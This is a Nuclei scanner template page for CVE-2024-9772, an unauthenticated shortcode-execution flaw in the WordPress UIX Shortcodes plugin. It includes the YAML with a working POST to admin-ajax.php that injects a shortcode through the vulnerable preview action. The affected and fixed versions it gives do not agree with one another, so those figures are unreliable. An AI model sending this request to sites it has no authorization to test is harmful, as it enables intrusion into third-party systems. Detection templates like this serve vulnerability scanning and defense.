CVE-2024-9772: WordPress UIX Shortcodes <= 1.9.7 - Unauthenticated Shortcode Execution
- Template: CVE-2024-9772
- Name: WordPress UIX Shortcodes <= 1.9.7 - Unauthenticated Shortcode Execution
- Description: The The Uix Shortcodes – Compatible with Gutenberg plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.9.9. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
- Impact: Unauthenticated attackers can execute arbitrary shortcodes through the uixscform_ajax_shortcodepreview AJAX action, potentially leading to information disclosure, privilege escalation, or remote code execution depending on available shortcodes.
- Remediation: Update UIX Shortcodes plugin to the latest patched version (>= 1.9.8).
- Severity: high
- Authors: kankburhan
- Tags: cve, cve2024, wordpress, wp-plugin, wp, wpscan, shortcode, uix-shortcodes, vuln
- References: https://nvd.nist.gov/vuln/detail/CVE-2024-9772, https://downloads.wordpress.org/plugin/uix-shortcodes.1.9.7.zip, https://plugins.trac.wordpress.org/browser/uix-shortcodes/trunk/shortcodes/templates/default/frontpage-init.php#L9, https://wordpress.org/plugins/uix-shortcodes/#developers, https://www.wordfence.com/threat-intel/vulnerabilities/id/3000758d-68e0-46a6-aef0-e2407a828168?source=cve
- Cves: CVE-2024-9772
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-9772.yaml
- Digest: 4a0a0047304502200ec5ac0e1618bab6a36d26209669292f63713aad3ec515dadf5837d28e4ac93c022100df15dd215d3a7cac24c2f799f1d198af66b60fe06412dfe82978691ec86ac3a9
- Created at: 2025-09-18T15:00:12Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 432
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-9772.yaml
Classification
- Cwe: CWE-94
- Cvss score: 7.3
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Epss score: 0.01458
- Epss percentile: 0.7421
- Cpe: cpe:2.3:a:uiux:uix_shortcodes:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 2
- Product: uix_shortcodes
- Publicwww-query: /wp-content/plugins/uix-shortcodes/
- Vendor: uiux
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| uiux:uix_shortcodes | yes | /v1/products/uiux/uix_shortcodes |
Labels
- Name: Uix Shortcodes - Server-Side Template Injection
- Impact: Unauthenticated attackers can execute arbitrary shortcodes, potentially leading to code execution or site compromise.
- Remediation: Update to the latest version beyond 1.9.9 or apply available security patches.
- Vulnerability type: template_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-9772
- Not known: requirements
```yaml
id: CVE-2024-9772
info:
name: WordPress UIX Shortcodes <= 1.9.7 - Unauthenticated Shortcode Execution
author: kankburhan
severity: high
description: |
The The Uix Shortcodes – Compatible with Gutenberg plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.9.9. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
impact: |
Unauthenticated attackers can execute arbitrary shortcodes through the uixscform_ajax_shortcodepreview AJAX action, potentially leading to information disclosure, privilege escalation, or remote code execution depending on available shortcodes.
remediation: |
Update UIX Shortcodes plugin to the latest patched version (>= 1.9.8).
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-9772
- https://downloads.wordpress.org/plugin/uix-shortcodes.1.9.7.zip
- https://wordpress.org/plugins/uix-shortcodes/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2024-9772
cwe-id: CWE-94
epss-score: 0.01458
epss-percentile: 0.7421
cpe: cpe:2.3:a:uiux:uix_shortcodes:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: uiux
product: uix_shortcodes
framework: wordpress
publicwww-query: "/wp-content/plugins/uix-shortcodes/"
tags: cve,cve2024,wordpress,wp-plugin,wp,wpscan,shortcode,uix-shortcodes,vuln
variables:
string: "{{to_lower('{{randstr}}')}}"
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/uix-shortcodes/readme.txt"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'Uix Shortcodes')"
- "compare_versions(version, '<= 1.9.7')"
condition: and
internal: true
extractors:
- type: regex
part: body
group: 1
name: version
regex:
- 'Stable tag: ([0-9.]+)'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=uixscform_ajax_shortcodepreview&previewcode=[uix_sc_text text='{{string}}']
matchers:
- type: dsl
dsl:
- 'contains_all(body, "{{string}}")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
digest: 4a0a0047304502200ec5ac0e1618bab6a36d26209669292f63713aad3ec515dadf5837d28e4ac93c022100df15dd215d3a7cac24c2f799f1d198af66b60fe06412dfe82978691ec86ac3a9:922c64590222798bb761d5b6d8e72950
```